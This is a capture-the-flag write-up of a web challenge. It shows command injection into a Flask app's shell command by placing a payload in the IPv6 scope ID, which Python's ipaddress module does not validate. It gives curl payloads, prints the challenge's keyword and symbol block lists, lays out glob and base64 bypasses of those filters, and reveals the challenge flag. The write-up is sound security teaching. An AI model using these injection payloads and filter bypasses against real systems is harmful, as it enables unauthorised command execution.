Photo by Ilya Pavlov / Unsplash

Writeup: 0day on ipaddress - upCTF (Web)

Feri Harjulianto

Overview

The challenge provides a Flask web application that wraps an "nmap" scanning tool. Users supply an IP address (and optional port) via the /check endpoint, which gets passed into a shell command. The goal is to achieve command injection to read the flag file.

Source Code Analysis

The server (server.py) has a /check endpoint that:

  1. Takes ip and port query parameters
  2. Validates ip using Python's ipaddress.ip_address() — must be a valid IP
  3. Validates port using int() — must be a number 1-65535
  4. Passes the original string to nmap_scan(), which builds a shell command:
command = f"nmap -F -sV {ip}"
result = subprocess.run(command, shell=True, ...)

Filters in Place

Input filter (on ip only):

suspicious_symbols = ["$", "\"", "\'", "\\", "@", ",", "*", "&", "|", "{", "}"]
suspicious_commands = ["flag", "txt", "cat", "echo", "head", "tail", "more", "less", "sed", "awk", "dd", "env", "printenv", "set"]

Output filter:

if "{" in output:
    return {"success": False, "error": "Suspicious output detected"}

Key Observations

  1. shell=True in subprocess.run() — classic command injection target
  2. The nmap binary is a fake bash script that just prints a message
  3. The input filter does NOT block: ; (semicolon), ` (backtick), ()?%
  4. The ipaddress.ip_address() return value is discarded — the original string is used in the command

The Vulnerability: IPv6 Scope ID Injection

Python 3.9 introduced support for IPv6 scope IDs in the ipaddress module. An IPv6 address like fe80::1%eth0 is valid, where eth0 is the scope ID (network interface).

Internally, IPv6Address.__init__() does:

if '%' in addr_str:
    addr_str, self._scope_id = addr_str.split('%', 1)

The scope ID is not validated — it accepts any arbitrary string. This means:

ipaddress.ip_address("fe80::1%eth0;id")  # Valid! scope_id = "eth0;id"

The original string fe80::1%eth0;id is then placed into the shell command:

nmap -F -sV fe80::1%eth0;id

The shell interprets ; as a command separator, executing id as a separate command.

Constraint: No Forward Slashes

One catch: ipaddress checks for / before parsing the scope ID (since / is used for CIDR notation like fe80::1/64). This means we cannot use absolute paths. However, since the Dockerfile sets WORKDIR /app, relative paths work fine.

Exploitation

Step 1: Confirm Command Injection

curl -s -G "http://46.225.117.62:30002/check" \
  --data-urlencode "ip=fe80::1%eth0;id"

Response: uid=0(root) gid=0(root) groups=0(root)

Step 2: List Files

curl -s -G "http://46.225.117.62:30002/check" \
  --data-urlencode "ip=fe80::1%eth0;ls"

Response includes: flagflag.phpflag.txflag.txtnmapserver.pyxlag.txt

Step 3: Read the Flag

Direct file reading fails because:

  • Words flag and txt are blocked in the input filter
  • The flag format upCTF{...} contains { which is blocked in the output filter

Bypass input filter: Use ? glob wildcards — fla? matches flagt?? matches txt

Bypass output filter: Use base64 encoding (not in the blocked command list)

curl -s -G "http://46.225.117.62:30002/check" \
  --data-urlencode "ip=fe80::1%eth0;base64 fla?.t??"

Response: dXBDVEZ7aDB3X2M0bl8xX3dyMXQzX3QwXzRuX2lwNGRkcmVzcz8hLVZpbXhTcUtiNjIzMjgzMzF9

Step 4: Decode

echo "dXBDVEZ7aDB3X2M0bl8xX3dyMXQzX3QwXzRuX2lwNGRkcmVzcz8hLVZpbXhTcUtiNjIzMjgzMzF9" | base64 -d

Flag: upCTF{h0w_c4n_1_wr1t3_t0_4n_ip4ddress?!-VimxSqKb62328331}

Summary of Bypasses

ProtectionBypass
ipaddress.ip_address() validationIPv6 scope ID (fe80::1%<payload>) accepts arbitrary strings
/ rejected by ipaddressUse relative paths (WORKDIR is /app)
flag, txt blocked in inputGlob wildcards: fla?, t??
{ blocked in outputbase64 encode the output
cat blockedUse tac, base64, or other unblocked commands
$, &, | blockedUse ; for command separation (not blocked)
CTFWriteupWeb